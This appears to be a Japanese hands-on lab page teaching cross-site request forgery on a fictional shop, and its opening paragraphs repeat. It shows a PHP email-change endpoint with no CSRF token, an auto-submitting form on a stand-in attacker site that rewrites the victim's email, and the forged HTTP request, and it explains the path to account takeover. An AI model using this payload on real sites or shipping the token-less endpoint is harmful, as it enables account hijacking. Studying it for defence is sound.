うつろい EC のマイページ — メールアドレス変更フォームがある。このフォームはCSRF Token を持たず、認証 Cookie だけで成立する脆弱な実装。
被害者は うつろい EC にログイン中(セッション Cookie が保存されている状態)。攻撃者は別ドメインの罠サイト(beauty-news.evil)を用意し、被害者にそのページを訪問させる。
うつろい EC のマイページ — メールアドレス変更フォームがある。このフォームはCSRF Token を持たず、認証 Cookie だけで成立する脆弱な実装。
被害者は うつろい EC にログイン中(セッション Cookie が保存されている状態)。攻撃者は別ドメインの罠サイト(beauty-news.evil)を用意し、被害者にそのページを訪問させる。
被害者(うつろい EC にログイン中の store_admin)のメールアドレスを、攻撃者が指定した attacker@evil.example に書き換えてください。
// マイページのメール変更エンドポイント // POST /account/email $user = get_user_from_session_cookie($_COOKIE['session']); $user->email = $_POST['email']; $user->save(); // ↑ Cookie だけで認証、CSRF Token も Referer も検証していない
セッション Cookie で「誰のリクエストか」は確認するが、「そのリクエストが本人の意図したものか」は確認していません。攻撃者の罠サイトから送られたリクエストでも、Cookie が添付されていれば「本人のリクエスト」と扱ってしまう。
<!-- beauty-news.evil/promo に置かれた HTML -->
<form action="https://shop.utsuroi.example.com/account/email" method="POST">
<input type="email" name="email" value="attacker@evil.example">
</form>
<script>document.forms[0].submit();</script>
被害者が罠サイトを開くと、JavaScript が即座に form.submit() を実行。ブラウザは shop.utsuroi.example.com への POST に被害者の認証 Cookie を自動添付して送信します。
POST /account/email HTTP/1.1
Host: shop.utsuroi.example.com
Origin: https://beauty-news.evil ← 攻撃者ドメインから
Cookie: session=store_admin_session_xxx ← うつろい EC の Cookie が自動添付
Content-Type: application/x-www-form-urlencoded
email=attacker@evil.example
このラボでは、攻撃 HTML はすでに罠サイト(右側 iframe)に仕込まれています。あなたは「攻撃者の役」として、メールアドレスを指定して「攻撃を実行」ボタンを押すだけ。ブラウザの動作と Cookie 送信の自動性を体感してください。
被害者は罠サイトを開いただけで、何のフォーム送信もしていません。それなのに被害者のメールアドレスが変わってしまう。これは「ブラウザが Cookie を自動添付するルール」と「サーバが Cookie だけで認証していること」の組み合わせから生まれる脆弱性です。
「攻撃を実行」を押すと右側の罠サイト iframe がリロードされ、自動送信フォームが発射されます。0.8秒後に左側のマイページのメールアドレスが attacker@evil.example に変更され、「✓ CSRF 成立」バナーが表示されます。
Mission 達成。実環境では、このパターンで攻撃者が任意のメールアドレスを設定 → パスワードリセット要求 → 被害者アカウント完全乗っ取り、という連鎖が起きます。